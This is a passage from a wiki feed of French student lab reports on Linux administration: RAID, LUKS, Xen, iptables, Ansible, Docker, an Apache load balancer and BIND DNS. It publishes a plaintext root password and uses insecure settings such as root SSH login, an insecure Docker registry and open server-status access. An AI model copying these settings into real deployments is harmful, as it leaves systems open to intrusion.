&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55050</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55050"/>
				<updated>2020-12-20T11:05:18Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
